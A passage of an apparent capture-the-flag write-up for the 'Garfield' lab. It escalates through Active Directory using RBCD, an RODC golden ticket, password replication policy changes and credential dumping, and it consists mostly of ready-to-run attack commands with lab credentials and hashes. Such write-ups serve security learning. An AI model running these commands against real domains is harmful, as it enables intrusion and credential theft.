<h3>Verifying the RODC Administrators Permissions with NetExec</h3>
<ul>
<li>To get a closer look at the underlying <strong>Access Control Entries (ACEs)</strong> <strong>NetExec’s</strong> <code>daclread</code> module can be used:</li>
</ul>
<pre><code class="language-sh">nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M daclread -o TARGET='RODC01$' PRINCIPAL='RODC Administrators'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ff83c02a-ff0a-4621-91ae-2979f7d1c39f.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The <code>ACE[4]</code> grants the <code>RODC Administrators</code> group both read and write access to the <code>managedBy</code> attribute.</li>
<li>The next entries confirm similar permissions for the two RODC password replication attributes <code>msDS-RevealOnDemandGroup</code> and <code>msDS-NeverRevealGroup</code>.</li>
</ul>
<h3>Modifying the <code>managedBy</code> Attribute</h3>
<ul>
<li>With the write access to <code>managedBy</code> confirmed, the next step is to assign <code>l.wilson_adm</code> as the manager of the <code>RODC01</code> computer object.</li>
<li>First, retrieve the <strong>Distinguished Name (DN)</strong> of the account:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object l.wilson_adm --attr distinguishedName`
</code></pre>
<ul>
<li>Next, inspect the current <code>managedBy</code> value of the <code>RODC01</code> computer account:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr managedBy
</code></pre>
<p>The <code>managedBy</code> attribute can now be updated to reference the distinguished name of <code>l.wilson_adm</code>:</p>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' set object RODC01$ managedBy -v "CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb"
</code></pre>
<ul>
<li>The modification was successful.</li>
<li>To verify the change, query the attribute again:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr managedBy
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d135a177-0858-4353-b3bb-8e829912d660.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The output confirms that <code>l.wilson_adm</code> is now recorded as the manager of the <code>RODC01</code> computer object.</li>
<li>The modification is important because the <code>managedBy</code> relationship is tied to the delegated permissions exposed through the <strong>RODC Administrators</strong> group.</li>
</ul>
<h3>Refreshing the Session to Obtain the Updated Privileges</h3>
<ul>
<li>The Active Directory changes have now been made, but the existing <code>Evil-WinRM</code> session was established before the group membership and object modifications.</li>
<li>Windows access tokens are created when a <em>logon session is established</em>. Changes to group membership do not necessarily appear in an already-existing token. Therefore, the current session needs to be closed and a new one established so that the updated group membership can be reflected.</li>
<li>Exit the current session and reconnect to <strong>RODC01</strong> through the <strong>SOCKS proxy</strong>:</li>
</ul>
<pre><code class="language-sh">proxychains -q evil-winrm -i RODC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
</code></pre>
<ul>
<li>Once connected, enumerate the privileges again:</li>
</ul>
<pre><code class="language-sh">whoami /priv
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/02492e99-8191-4ece-a56f-d1ab826066f9.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The difference is substantial. The new session exposes a much larger set of enabled privileges.</li>
<li>These privileges significantly expand the available attack surface.</li>
</ul>
<h2>Dumping RODC Secrets and Exploiting Resource-Based Constrained Delegation</h2>
<ul>
<li>With the expanded privileges on <strong>RODC01</strong>, the next objective is to extract credentials and investigate whether the <strong>Read-Only Domain Controller</strong> can be leveraged to obtain a privileged session.</li>
</ul>
<h3>Attempting to Dump Secrets from RODC01</h3>
<ul>
<li>The initial attempt uses <code>impacket-secretsdump</code> through the established SOCKS proxy:</li>
</ul>
<pre><code class="language-sh">proxychains -q impacket-secretsdump 'l.wilson_adm:P@ssw0rd123@RODC01.garfield.htb'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/0bce46cd-41e3-4c6c-9df2-d2ec6f197b47.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The tool successfully connects to the target, starts the <strong>Remote Registry service</strong> and retrieves several <strong>local secrets</strong>.</li>
<li>The output confirms that the Local <code>Security Account Manager</code> (SAM) database has been accessed. It also retrieves <code>LSA</code> secrets, including the machine account credentials for <code>RODC01$</code>, <code>DPAPI</code> system keys and the <code>NL$KM</code> secret.</li>
<li>However, the important part comes when <strong>Impacket</strong> attempts to retrieve domain credentials form the Active Directory database. The <strong>DRSUAPI</strong> approach fails, and the tool explicitly recommends trying the <strong>Volume Shadow Copy Service (VSS)</strong> method.</li>
<li>Most importantly, this attempt <strong>does not</strong> retrieve the expected <strong>privileged domain credentials</strong>.</li>
</ul>
<h3>Using the VSS Method</h3>
<ul>
<li>Following Impacket’s recommendation, the command is repeated with the <code>-use-vss</code> option:</li>
</ul>
<pre><code class="language-sh">proxychains -q impacket-secretsdump 'l.wilson_adm:P@ssw0rd123@RODC01.garfield.htb' -use-vss
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/c3d481ce-3960-4ccc-b164-12b21b13e628.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This time the process progresses further.</li>
<li>After retrieving the local SAM and LSA secrets, <strong>Impacket</strong> locates the Active Directory database.</li>
<li>The <code>-use-vss</code> option instructs Impacket to use <strong>Volume Shadow Copy Service</strong> to obtain a copy of <code>NTDS.dit</code>, rather than relying on the <strong>DRSUAPI</strong> replication method.</li>
<li>Once the database has been copied, <strong>Impacket</strong> proceeds to extract and decrypt the stored password hashes.</li>
<li>Although the <strong>VSS</strong> method successfully retrieves the database contents, the result does not provide a usable Domain Administrator password hash.</li>
<li>The output contains several accounts with the well-known empty NT hash <code>31d6cfe0d16ae931b73c59d7e0c089c0</code>.</li>
<li>An <strong>RODC</strong> maintains a password replication policy that determines which account credentials can be cached locally. It does not behave like a writable domain controller with an unrestricted copy of all domain credentials. Consequently, extracting <code>NTDS.dit</code> from the RODC does not guarantee that every domain account’s actual password hash will be available.</li>
<li>The presence of <code>krbtgt_8245</code> with a <strong>non-empty NT hash</strong> is worth noting because <strong>RODCs</strong> use a separate <code>KRBTGT</code> account for their Kerberos operations.</li>
<li>The important conclusion is that the <strong>VSS</strong> approach successfully extracts the available database contents, but it does not provide the desired privileged credentials. A different attack path is needed.</li>
</ul>
<h3>Creating a Computer Account</h3>
<ul>
<li>The earlier enumeration revealed that <code>l.wilson_adm</code> can modify the <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> attribute on the <strong>RODC01</strong> computer object.</li>
<li>This attribute is central to <strong>Resource-Base Constrained Delegation (RBCD)</strong>. It controls which security principals are permitted to act on behalf o other identities when accessing services hosted by the target computer.</li>
<li>To exploit this configuration, a computer account is first created. Active Directory commonly allows authenticated domain users to create a limited number of computer accounts, depending on the domain’s <code>ms-DS-MachineAccountQuota</code> setting.</li>
<li>The following command creates a computer account name <code>NATO$</code> with the specified password:</li>
</ul>
<pre><code class="language-sh">impacket-addcomputer -computer-name NATO$ -computer-pass 'P@ssw0rd123' -dc-ip DC01.garfield.htb 'garfield.htb/l.wilson_adm:P@ssw0rd123'
</code></pre>
<ul>
<li>The operation succeeds. The newly created computer account will serve as the <strong>delegation principal</strong> in the <strong>RBCD attack</strong>.</li>
</ul>
<h3>Configuring Resource-Based Constrained Delegation</h3>
<ul>
<li>With the <code>NATO$</code> computer account created, the next step is to configure <strong>RBCD</strong> on <strong>RODC01</strong>.</li>
<li>The <code>impacket-rbcd</code> utility can modify the target computer’s <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> attribute:</li>
</ul>
<pre><code class="language-sh">impacket-rbcd -delegate-to 'RODC01$' -delegate-from 'NATO$' -action write -dc-ip DC01.garfield.htb 'garfield.htb/l.wilson_adm:P@ssw0rd123'
</code></pre>
<h3>Synchronizing the Attacker’s Clock</h3>
<ul>
<li>Before requesting <strong>Kerberos service tickets</strong>, the attacking machine’s clock needs to be synchronized with the domain controller:</li>
</ul>
<pre><code class="language-sh">sudo ntpdate DC01.garfield.htb
</code></pre>
<h3>Requesting a Service Ticket as Administrator</h3>
<ul>
<li><strong>Impacket’s</strong> <code>getST</code> utility supports the <strong>S4U extensions</strong> to Kerberos, allowing newly created computer account to request a service ticket on behalf of another user:</li>
</ul>
<pre><code class="language-sh">impacket-getST -spn cifs/RODC01.garfield.htb -impersonate administrator 'garfield.htb/NATO$:P@ssw0rd123'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/854027b3-c9b5-4c98-abd5-ef3dcbd3cba3.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The tool successfully obtains a <code>Ticket-Granting Ticket (TGT)</code> for <code>NATO$</code>, performs the <code>S4U2Self</code> request and then requests an <code>S4U2Proxy</code> service ticket for the <code>CIFS</code> service while impersonating <code>administrator</code>.</li>
<li>This ticket can now be used to authenticate to the <strong>CIFS</strong> service on <strong>RODC01</strong> as the impersonated identity, subject to the target service accepting the ticket and the account’s applicable authorization.</li>
</ul>
<h3>Generating a Kerberos Configuration File</h3>
<ul>
<li>For Kerberos authentication to work reliably from the attacking machine, the client needs to know which <strong>realm</strong> and <strong>Key Distribution Center (KDC)</strong> to use:</li>
</ul>
<pre><code class="language-sh">nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --generate-krb5-file garfield_krb5.conf
</code></pre>
<ul>
<li>To make the configuration available to Kerberos-aware tools, export the <code>**KRB5_CONFIG**</code> environment variable:</li>
</ul>
<pre><code class="language-sh">export KRB5_CONFIG=garfield_krb5.conf
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/365cbf48-cc06-47f7-88f1-47c05a5dbfce.png" alt="" style="display:block;margin:0 auto" />

<h3>Obtaining a SYSTEM Shell on RODC01</h3>
<ul>
<li>With the service ticket available, the next step is to use it to authenticate to <strong>RODC01</strong> through impacket’s <code>psexec</code>.</li>
<li>The <code>KRB5CCNAME</code> variable specifies the <strong>Kerberos credential cache</strong> containing the impersonation ticket:</li>
</ul>
<pre><code class="language-sh">KRB5CCNAME=administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache proxychains -q impacket-psexec RODC01.garfield.htb -k
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ee62e9a9-6073-4b61-8fcb-a47b424f33f6.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The results confirms that the <strong>RBCD attack</strong> has successfully provided a <strong>SYSTEM-level</strong> shell on <strong>RODC01</strong>.</li>
<li>Despite having obtained a SYSTEM shell, the expected root flag could be not be located. (<em>Maybe it is because it is a SYSTEM-level shell on a</em> <em><strong>Read-Only Domain Controller</strong></em><em>🤷‍♂️ I’m not sure about this🤦‍♂️</em>)</li>
</ul>
<h2>Investigating the RODC Password Replication Policy</h2>
<ul>
<li>With SYSTEM access established on <strong>RODC01</strong>, the next step is to investigate the relationship between its Read-Only Domain Controller (RODC) account and its associated Kerberos service account <code>krbtgt_8245</code><strong>:</strong></li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object krbtgt_8245
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9c57f6c7-23f5-4ef2-969a-5dddae8b5704.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Two attributes are particularly interesting:<ul>
<li><code>msDS-KrbTgtLinkBl</code> identifies the <strong>RODC</strong> associated with this Kerberos service account. Here, it points to <strong>RODC01</strong>.</li>
<li><code>msDS-RevealedDSAs</code> records the <strong>Directory Service Agents (DSAs)</strong> to which credentials have been revealed. The repeated <strong>RODC01</strong> entries indicate that this <strong>RODC</strong> is associated with the recorded credential-revelation activity.</li>
</ul>
</li>
<li>The <code>msDS-SecondaryKrbTgtNumber</code> attribute also confirms the <strong>RODC</strong>-specific identifier <code>8245</code>.</li>
<li>These attributes establish the relationship between <code>krbtgt_8245</code> and <code>RODC01</code>.</li>
</ul>
<h3>Obtaining a Custom <a href="http://ticketer.py">ticketer.py</a></h3>
<ul>
<li>The next step involves generating a Kerberos ticket using the <strong>RODC-specific</strong> <code>krbtgt</code> hash obtained earlier.</li>
<li>The standard Impacket <code>ticketer.py</code> supports <strong>Golden Ticket</strong> generation, but the version used here is retrieved from a specific commit that supports <strong>RODC Golden Ticket</strong> mode.</li>
<li>Download the script:</li>
</ul>
<pre><code class="language-sh">wget "https://raw.githubusercontent.com/fortra/impacket/b12b2f3b00315d32ce27461caf8dccfe1aaebe6d/examples/ticketer.py"
</code></pre>
<ul>
<li>Verify the downloaded file and make it executable:</li>
</ul>
<pre><code class="language-sh">chmod +x ticketer.py
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/215d8ee1-be99-4644-a6a8-11edcc63c17e.png" alt="" style="display:block;margin:0 auto" />

<h3>Retrieving the Domain SID</h3>
<ul>
<li>Ticket generation requires the <strong>Domain SID</strong>. This can be obtained from the <code>objectSid</code> attribute of any domain security principal:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object l.wilson_adm --attr objectSid
</code></pre>
<ul>
<li>A <strong>domain user’s SID</strong> consists of the domain SID followed by the user’s <strong>Relative Identifier (RID)</strong>. Therefore, removing the final <strong>RID</strong> (<code>3107</code>) gives the <strong>Domain SID</strong>.</li>
</ul>
<h3>Generating an RODC Golden Ticket</h3>
<ul>
<li>With the <strong>domain SID</strong> and the previously extracted <code>krbtgt_8245</code> NT hash available, the custom <code>ticketer.py</code> can be used to generate a ticket for the domain administrator:</li>
</ul>
<pre><code class="language-sh">./ticketer.py -domain garfield.htb -domain-sid S-1-5-21-2502726253-3859040611-225969357 -nthash 445aa4221e751da37a10241d962780e2 -rodcNo 8245 Administrator
</code></pre>
<ul>
<li>The command instructs the script to generate an <strong>RODC-specific Golden Ticket</strong>, encoding the RODC number into the ticket’s <strong>Kerberos version number (KVNO)</strong> through the option <code>-rodcNo</code>.</li>
<li>The output confirms that the ticket was created and saved as <code>Administrator.ccache</code>.</li>
</ul>
<h3>Attempting to Dump Domain Secrets</h3>
<ul>
<li>With the ticket generated, an attempt was made to authenticate to <strong>DC01</strong> and perform a secrets dump:</li>
</ul>
<pre><code class="language-sh">KRB5CCNAME=Administrator.ccache impacket-secretsdump -k -no-pass DC01.garfield.htb
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/6b0d34d1-53e0-4f46-9214-be80e8be097d.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>However, the attempt failed.</li>
</ul>
<h3>Modifying the RODC Password Replication Policy</h3>
<ul>
<li>An <strong>RODC</strong> does not replicate every domain credential by default. Instead, its <strong>Password Replication Policy (PRP)</strong> determines which accounts are permitted to have their credentials cached on the <strong>Read-Only Domain Controller</strong> and which accounts are explicitly prohibited.</li>
<li>Two Active Directory attributes control the relevant group-based policy:<ul>
<li><code>msDS-NeverRevealGroup</code>: defines groups whose credentials must never be replicated to the <strong>RODC</strong>.</li>
<li><code>msDS-RevealOnDemandGroup</code>: defines groups whose credentials may be replicated to the RODC when requested.</li>
</ul>
</li>
<li>The next step is to inspect these attributes on the <code>**RODC01$**</code> computer account.</li>
</ul>
<h3>Examining the RODC Computer Account</h3>
<ul>
<li>Retrieve the properties of <code>RODC01$</code>:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/3bd2c2e2-c94f-41d9-b2eb-f4d456ba1353.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The output confirms that <code>RODC01$</code> is linked to <code>krbtgt_8245</code> and exposed the two password replication policy attributes.</li>
<li>The existing configuration has several groups in the <strong>Never Reveal</strong> list, including <code>Administrators</code>, <code>Backup Operators</code> and <code>Server Operators</code>. Meanwhile, the <strong>Reveal On Demand</strong> list contains only the <strong>Allowed RODC Password Replication Group</strong>.</li>
<li>This configuration is significant because membership in the <strong>Domain Admins</strong> group does not automatically make its credentials available to an <strong>RODC</strong>. The password replication policy must permit the credentials to be cached and accounts covered by the <strong>Never Reveal</strong> policy remain protected from replication.</li>
</ul>
<h3>Inspecting the Existing PRP Attributes</h3>
<ul>
<li>Before modifying anything, retrieve each attribute independently to establish its current value.</li>
<li>First, inspect <code>msDS-NeverRevealGroup</code>:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr msDS-NeverRevealGroup
</code></pre>
<ul>
<li>The output confirms the existing protected groups.</li>
<li>Next, inspect <code>msDS-RevealOnDemandGroup</code>:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr msDS-RevealOnDemandGroup
</code></pre>
<h3>Removing the Never Reveal Restrictions</h3>
<ul>
<li>The <code>l.wilson_adm</code> account has sufficient permissions to modify the relevant attributes on the <code>RODC01$</code> object.</li>
<li>The first modification clears the <code>msDS-NeverRevealGroup</code> attribute:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' set object RODC01$ msDS-NeverRevealGroup
</code></pre>
<ul>
<li>Verify that the attribute is now empty:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr msDS-NeverRevealGroup
</code></pre>
<ul>
<li>The result contains only the distinguished name.</li>
<li>The absence of an <code>msDS-NeverRevealGroup</code> value confirms that the attribute has been cleared.</li>
<li>This removes the group-based exclusions previously configured on the <strong>RODC</strong>. It is a significant policy change, particularly because the original list explicitly included privileged groups.</li>
</ul>
<h3>Adding Domain Admins to the Reveal on Demand Group</h3>
<ul>
<li>The next modification changes the group permitted to have credentials revealed to the <strong>RODC</strong>.</li>
<li>First, retrieve the distinguished name of the <code>Domain Admins</code> group:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object "Domain Admins" --attr distinguishedName
</code></pre>
<ul>
<li>The output provides the required <strong>DN</strong>.</li>
<li>With that value available, update <code>msDS-RevealOnDemandGroup</code> on <code>RODC01$</code>:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' set object RODC01$ msDS-RevealOnDemandGroup -v 'CN=Domain Admins,CN=Users,DC=garfield,DC=htb'
</code></pre>
<ul>
<li>The operation succeeds.</li>
<li>Verify the updated attribute:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr msDS-RevealOnDemandGroup
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ef06028c-1650-4ce3-9d98-970c6540196c.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The policy now identifies Domain Admins as the group whose credentials may be revealed to <code>RODC01</code> on demand.</li>
</ul>
<h2>Dumping Domain Secrets and Recovering Administrator Credentials</h2>
<ul>
<li>With the <strong>RODC Password Replication Policy</strong> modified, the next step is to revisit the secrets dump against the writable domain controller, <code>DC01</code>.</li>
</ul>
<h3>Dumping Secrets Using the RODC Golden Ticket</h3>
<ul>
<li>The first attempt uses the generated <code>Administrator.ccache</code> file to authenticate to <code>DC01</code>:</li>
</ul>
<pre><code class="language-sh">KRB5CCNAME=Administrator.ccache impacket-secretsdump -k -no-pass DC01.garfield.htb
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9c8c4551-d428-4959-984f-b5ebd07643eb.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/33b86c6c-df2d-4dd7-b7fe-f1ee591e81fb.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This time, the operation successfully retrieves a substantial amount of credential material, including <em><strong>local SAM hashes</strong></em>, <em><strong>LSA secrets</strong></em>, <em><strong>domain account hashes</strong></em> and <em><strong>Kerberos encryption keys</strong></em>.</li>
<li>The dump also reveals the <strong>Administrator’s NT hash</strong> and an <strong>LSA secret</strong> named <code>DefaultPassword</code> that exposes the <strong>Administrator’s plaintext password</strong>.</li>
<li>The tool also exits with some errors.</li>
</ul>
<h3>Repeating the Dump using the Volume Shadow Copies</h3>
<ul>
<li>To avoid the cleanup issues and use an alternative extraction method, repeat the operation with the <code>-use-vss</code> option:</li>
</ul>
<pre><code class="language-sh">KRB5CCNAME=Administrator.ccache impacket-secretsdump -k -no-pass DC01.garfield.htb -use-vss
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1106bde9-1e41-40f0-86ca-3bc93ca145dc.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b8920d7f-4863-4de3-9c0f-9995a2d44a33.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The <code>-use-vss</code> option instructs <strong>Impacket</strong> to obtain a <strong>shadow copy</strong> of the <strong>NTDS</strong> database rather than relying on default <strong>DRSUAPI</strong> extraction method. This provides an alternative way to access the <code>NTDS.dit</code> file, which contains Directory account information and password hashes.</li>
</ul>
<h2>Getting Administrator Access on DC01</h2>
<ul>
<li>Before opening an interactive session, verify the recovered credentials against the available services. This helps establish which authentication methods accept the credentials and confirms that the account has administrative access.</li>
</ul>
<h3>Authenticating with the Administrator’s NT Hash</h3>
<ul>
<li><strong>SMB Authentication:</strong></li>
</ul>
<pre><code class="language-sh">nxc smb DC01.garfield.htb -u administrator -H 'ee238f6debc752010428f20875b092d5' 
</code></pre>
<ul>
<li>The results confirms successful authentication. The <strong>(Pwn3d!)</strong> indicator confirms that the authenticated account has administrative privileges over SMB.</li>
<li><strong>LDAP Authentication:</strong></li>
</ul>
<pre><code class="language-sh">nxc ldap DC01.garfield.htb -u administrator -H 'ee238f6debc752010428f20875b092d5' 
</code></pre>
<ul>
<li>The authentication succeeds.</li>
<li><strong>WinRM Authentication:</strong></li>
</ul>
<pre><code class="language-sh">nxc winrm DC01.garfield.htb -u administrator -H 'ee238f6debc752010428f20875b092d5'
</code></pre>
<ul>
<li>The result confirms successful authentication over <strong>WinRM</strong> as well.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/71540b3c-de82-4090-b850-7965eb6c7173.png" alt="" style="display:block;margin:0 auto" />

<h3>Authenticating with the Recovered Password</h3>
<ul>
<li><strong>SMB Authentication:</strong></li>
</ul>
<pre><code class="language-sh">nxc smb DC01.garfield.htb -u administrator -p 'lgoSWZnv0phWaNFu' 
</code></pre>
<ul>
<li><strong>LDAP Authentication:</strong></li>
</ul>
<pre><code class="language-sh">nxc ldap DC01.garfield.htb -u administrator -p 'lgoSWZnv0phWaNFu' 
</code></pre>
<ul>
<li><strong>WinRM Authentication:</strong></li>
</ul>
<pre><code class="language-sh">nxc winrm DC01.garfield.htb -u administrator -p 'lgoSWZnv0phWaNFu' 
</code></pre>
<ul>
<li>Both authentication methods work successfully across all three services.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/752fd1c8-3eb7-4735-88cf-81acafd64691.png" alt="" style="display:block;margin:0 auto" />

<h3>Getting an Administrator Shell and Retrieving the Root Flag</h3>
<ul>
<li><strong>Using Pass-the-Hash:</strong></li>
</ul>
<pre><code class="language-sh">evil-winrm -i DC01.garfield.htb -u administrator -H 'ee238f6debc752010428f20875b092d5'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/3d8afb05-4df1-413a-a756-7a1f2206ec87.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The connection succeeds.</li>
<li>Inspecting the Administrator’s profile, the <strong>root flag</strong> is located in the Desktop directory.</li>
<li>Both the <strong>NT hash</strong> and <strong>plaintext password</strong> provide a working Administrator access on <strong>DC01</strong>.</li>
</ul>
<hr />
<h2>Conclusion</h2>
<p><strong>Garfield</strong> was a great reminder that Active Directory compromise is rarely about one spectacular vulnerability. Sometimes, all it takes is <em>poorly delegated permission</em>, <em>a writable attribute</em> and a <em>little curiosity</em> to get things moving.</p>
<p>From <em>abusing SYSVOL</em> and taking over user accounts to <em>pivoting into an RODC</em>, <em>exploiting RBCD</em> and <em>manipulating Kerberos and Password Replication Policy</em>, each discovery opened the door to the next. What looked like a collection of isolated weaknesses eventually became a complete path to domain compromise.</p>
<p>The biggest lesson? <em>Never underestimate delegated permissions or assume that a Read-Only Domain Controller is harmless</em>. Active Directory is full of relationships and attackers only need to find the right ones to turn a small foothold into a major incident.</p>
<p>And with that, Garfield’s secrets are out. Looks like this cat had more than nine lives after all😅</p>
<hr />
<h2>Tools Used</h2>
<h3>Enumeration and Active Directory Analysis</h3>
<ul>
<li><code>Nmap</code> — Network and service discovery.</li>
<li><code>ping</code> — Basic connectivity testing.</li>
<li><code>NetExec</code> — SMB, LDAP, WinRM and RDP enumeration and authentication validation.</li>
<li><code>smbclient</code> — SMB share enumeration and file access.</li>
<li><code>RustHound-CE</code> — Active Directory data collection for BloodHound.</li>
<li><code>BloodHond</code> — Active Directory relationship and attack-path analysis.</li>
<li><code>BloodyAD</code> — Active Directory object and permission enumeration and modification.</li>
<li><code>impacket-dacledit</code> — Discretionary Access Control List (DACL) inspection and manipulation</li>
</ul>
<h3>Shell Access and Remote Execution</h3>
<ul>
<li><code>evil-winrm</code> — Remote PowerShell access over WinRM.</li>
<li><code>Netcat</code> — Receiving reverse shells and basic network communication.</li>
<li><code>rlwrap</code> — Improve interactive shell input.</li>
<li><code>PowerShell</code> — Windows enumeration and command execution.</li>
<li><code>impacket-psexec</code> — Remote command execution through SMB service creation.</li>
<li><code>revshells.com</code> — Reverse-shell payload generation.</li>
</ul>
<h3>Network Pivoting and Connectivity</h3>
<ul>
<li><code>chisel</code> — Reverse tunnelling and SOCKS proxy establishment.</li>
<li><code>proxychains</code> — Routing network connections through the SOCKS proxy.</li>
<li><code>ntpdate</code> — Synchronizing the attacking machine’s clock with the domain controller.</li>
</ul>
<h3>Kerberos, Delegation and Credential Extraction</h3>
<ul>
<li><code>impacket-secretsdump</code> — Extracting local and domain secrets.</li>
<li><code>impacket-addcomputer</code> — Creating a computer account in Active Directory.</li>
<li><code>impacket-rbcd</code> — Configuring Resource-Base Constrained Delegation.</li>
<li><code>impacket-getST</code>- Requesting Kerberos service tickets, including S4U-based tickets.</li>
<li><code>impacket-ticketer</code> — Generating forged Kerberos tickets, including RODC-specific tickets.</li>
</ul>
<h3>File Handling, Scripting and System Utilities</h3>
<ul>
<li><code>vim</code> — Editing configuration files and scripts.</li>
<li><code>base64</code> — Encoding and decoding data.</li>
<li><code>iconv</code> — Character encoding conversion.</li>
<li><code>wget</code>- Downloading Files and Scripts.</li>
<li><code>curl</code> — Retrieving remote resources.</li>
<li><code>file</code> — Identifying file types.</li>
<li><code>7z</code> — Archive inspection and extraction.</li>
<li><code>python</code> — Running Python scripts and supporting tooling.</li>
<li><code>md5sum</code> — Calculating file checksums.</li>
<li><code>diff</code> — Comparing permission enumeration results.</li>
<li><code>chmod</code> — Modifying file permissions.</li>
</ul>
<hr />
<h2>References</h2>
<h3>Kerberos and RODC Attacks</h3>
<ul>
<li><a href="https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/rodc-golden-tickets">RODC Golden Tickets — The Hacker Recipes</a></li>
<li><a href="https://github.com/fortra/impacket/pull/2169">Custom Ticketer — Impacket Pull Request #2169</a></li>
<li><a href="https://specterops.io/blog/2023/01/25/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc/">At the Edge of Tier Zero: The curious Case of the RODC — SpecterOps</a></li>
<li><a href="https://adsecurity.org/?p=3592">Active Directory Security — Kerberos Delegation</a></li>
</ul>
<h3>Network Tunnelling and Payload Generation</h3>
<ul>
<li><a href="https://github.com/jpillora/chisel">Chisel — Github</a></li>
<li><a href="https://www.revshells.com/">Reverse Shell Generator</a></li>
</ul>
